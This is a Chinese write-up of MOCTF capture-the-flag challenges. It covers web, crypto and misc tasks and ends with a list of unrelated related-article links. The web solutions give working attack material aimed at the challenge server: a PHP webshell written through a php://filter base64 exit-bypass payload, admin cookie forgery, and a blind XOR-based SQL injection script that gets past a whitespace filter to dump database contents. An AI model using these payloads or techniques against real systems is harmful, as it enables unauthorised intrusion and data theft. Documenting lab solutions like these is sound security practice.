MOCTF-WRITE-UP(二)
MOCTF-WRITE-UP(二)
WEB
Flag在哪?
question:flag到底在哪!
Hint1: 跟一首歌有关。
Hint2: PPAP
answer:
其实一道脑洞题,burp抓包即可看到302跳转
1
2
3
4
5
|
where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!
|
23333典型的PPAP,我们猜测flagfrog.php
但是注意还是得抓包
1
2
3
4
5
6
7
8
|
GET /web7/frogflag.php HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
|
发送即可得到flag.
死亡退出
question:
Hint1: flag在flag.php,大佬们刷完题记得清理掉tmp中的数据!!!!
answer:
打开看到
|
两个点:
1.php的exit的绕过,我们可以使用base64编码。
2.文件读取,利用php伪协议读文件流。
因为题目说了flag在flag.php里面,所以写马。
<?php system('cat flag.php'); ?>
然后因为前面有<?php exit; ?>
,但是base64解码会把<?;>过滤掉,所以出来的是phpexit,而“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
没有了。
payload:
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
post拿到flag。
参考链接(p师傅的文章):
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
美味的饼干
question:好吃!美味!
answer:
看到一个登陆界面,尝试用户名admin,密码123.
显示登录成功!欢迎admin 。
题目名是饼干,那么我们f12看一下cookie。
发现一串base64字符串。解码看一下是md5,再解密。得到user
我们使用admin用md5加密再base64之后改包发回去。得到flag。
火眼金睛
question:汝可千军万马之中识得吾项上flag?
answer:打开看到文本框里面很多字母,然后2秒刷新一次,发现字符串并不会变。写脚本计数得flag。
贴脚本:
import requests import re url = "http://119.23.73.3:5001/web10/index.php" r = requests.get(url=url) res_tr = r"'100'>(.*?)</textarea>" flagtxt = re.findall(res_tr,r.content)[0] re_moctf = r"moctf" moctf = re.findall(re_moctf,flagtxt) number = len(moctf) data = {"answer":number } url2 = "http://119.23.73.3:5001/web10/work.php" s = requests.post(url=url2,data=data,cookies=r.cookies) print s.content |
简单注入
question:WOW!SQL injection is interesting!
answer:f12代码审计一下发现有?id=1的字样,说明id这是注入点。
测试?id=1,页面无回显。再测?id=1' or 1=1
发现出现
WHAT A FUCK!
可能过滤了空格,测试?id=1 '
依然报fuck。所以过滤了空格。我们用%0a或者使用/**/
代替。
测试
1'/**/order/**/by/**/3#
没用,很烦。测了n久。
注意以下几点
- 空格可以用圆括号替换
- substr用left替换
- 为了避免查询出来的字符串有ban掉的字符,hex后再进行比较
- limit可以改成group_concat,直接查出所有数据
参考一叶飘零师傅的思路,可以用异或。
1
2
3
4
|
http://119.23.73.3:5004/?id=1'^'1
回显为空白
http://119.23.73.3:5004/?id=1'^'0
回显为Hello
|
import requests
flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break
|
得flag。
CRYPTO
贝斯族谱
一串base加密的字符串。
Vm0weGQxSXlSblJWV0d4WFlUSm9WRll3WkRSV01XeHlXa1pPYUZKc1NsWldSM1JQVmpGS2RHVkVRbFZXYkhCUVdWZHplRll4VG5OWGJGcFhaV3RhU1ZkV1kzaFRNVTVYVW01S2FGSnRhRzlVVm1oRFZWWmFjbHBFVWxSaVZrWTFWa2QwYTJGc1NuUlZiRkphWWtkU2RscFdXbXRXTVZaeVdrWndWMkV6UWpaV01uUnZWakZhZEZOc1dsaGlSMmhvVm1wT2IxTXhjRmhsUjBaWFlrZFNlVll5ZUVOV01rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9= 脚本跑一下解出:ngn_qp{qdudtms0u1fz}
明显的栅栏凯撒古典密码。 20个字符,栅栏加密可能是2,4,5,10. 都试一下发现是4. 得到npdug{t1nqmf_dszqu0} 凯撒跑一下得到flag。
奇怪汉字
question:2099年,年轻的江先生因为实在没钱于是将自己的魔法棒带到当铺出售,但当铺老板却给了他一张纸,上面这样写道:
由口中 由由夫 由由口 由由口 由中由
answer:典型当铺密码。对着表读一下得到flag。
MISC
捉迷藏
answer:一进去就看到一个假flag......并没有比我皮。
把图片放winhex里面看一下,在末尾看到了flag.txt,zip压缩包文件格式的痕迹。
binwalk -e提取,得到flag.txt,看到里面是一串ASCII码,转一下字符得flag。
只写一点,有时间再补。(ε=ε=ε=┏(゜ロ゜;)┛逃
MOCTF-WRITE-UP(二)相关推荐
- 条形码?二维码?生成、解析都在这里!
二维码生成与解析 一.生成二维码 二.解析二维码 三.生成一维码 四.全部的代码 五.pom依赖 直接上代码: 一.生成二维码 public class demo {private static fi ...
- 【ReactiveX】基于Golang pmlpml/RxGo程序包的二次开发
基于Golang pmlpml/RxGo程序包的二次开发[阅读时间:约20分钟] 一.ReactiveX & RxGo介绍 1.ReactiveX 2.RxGo 二.系统环境&项目介绍 ...
- 2022-2028年中国二次供水产业发展动态及投资战略规划报告
[报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国二次供水行业市场行业相关概述.中国二次供 ...
- 2022-2028年中国二次供水设备行业研究及前瞻分析报告
[报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国二次供水设备行业市场行业相关概述.中国二 ...
- OpenCV 笔记(08)— 二维点、三维点、基于 Mat 的 std::vector 等常用数据结构的定义和输出
1. 定义和输出二维点 Point2f p2(3, 4);cout << "[二维点] is "<< endl << p2 << e ...
- python内置库之学习ctypes库(二)
ctypes库踩坑日记2 一.自己实现一个dll文件,再用python的ctypes库调用思路1更清晰 二.生成dll文件 三.ctypes库调用 一.自己实现一个dll文件,再用python的cty ...
- 前端Vue学习之路(二)-Vue-router路由
Vue学习之路 (二) Vue-router(基础版) 一.增加静态路由 二.动态路由+路由嵌套+404页面 三. 编程式导航 四.命名路由 五.命名视图 六.重定向和起别名 1.重定向 2.起别名 ...
- Bert代码详解(二)重点
这是bert的pytorch版本(与tensorflow一样的,这个更简单些,这个看懂了,tf也能看懂),地址:https://github.com/huggingface/pytorch-pretr ...
- word2vec 中的数学原理详解(二)预备知识
版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/peghoty/article/details/37969635 https://blog.csdn. ...
- LeetCode简单题之二叉搜索树的最小绝对差/最小距离
题目 给你一个二叉搜索树的根节点 root ,返回 树中任意两不同节点值之间的最小差值 . 差值是一个正数,其数值等于两值之差的绝对值. 示例 1: 输入:root = [4,2,6,1,3] 输出: ...
最新文章
- minAreaRect函数
- 【Tiny4412】制作最小文件系统脚本
- Maven 项目创建 找不到web.xml
- 2021牛客第一场H.Hash Function—FFT求差值的卷
- Python 文件读写
- java servlet 转发和重定向_JavaWeb(一)Servlet中乱码解决与转发和重定向的区别
- mysql模糊查询 or_mysql的模糊查询
- 8月8日发布!三星Galaxy Note 10+ 5G版FCC认证示意图泄露
- [zoj]3575 Under Attack III
- 在win7物理机,使用vmware,3台centos7系统,分别部署httpd,php-fpm,mariadb
- hightec教程_如何用VectorCAST/C++做单元集成测试?
- Markdown MarkdownPad2 win10上显示awesomium
- 《CSS权威指南》读书笔记4
- 从键盘上输入10个数,求其平均值。
- sleuth feign instrument 分析
- StataIC——线性回归计算个股的β值
- 百利药业IPO过会:扣非后年亏1.5亿 奥博资本是股东
- 国内FRM证书福利政策大全
- XposedZjDroid脱壳梆梆加固
- 【数据分析案例】美国2015-2018年牛油果销售数据分析
热门文章
- pdo_mysql扩展库_MySQL数据库之PDO扩展
- Windows下的SysWow64和System32
- Unity控制摄像机缓慢移动的代码(插值计算 非常丝滑)
- 虚幻4渲染编程(材质编辑器篇)【第六卷:各向异性材质玻璃材质】
- 【生信分析】基于TCGA肿瘤数据进行基因共表达网络分析
- 全自动加药装置详细介绍
- 伦斯勒理工学院计算机科学专业强吗,2020年伦斯勒理工学院排名TFE Times美国最佳计算机科学硕士专业排名第59...
- android时间格式am pm,pm时间(am.pm正确时间书写格式)
- 我用二手书,在这里换了一大箱好书
- 前端清除缓存的集中方法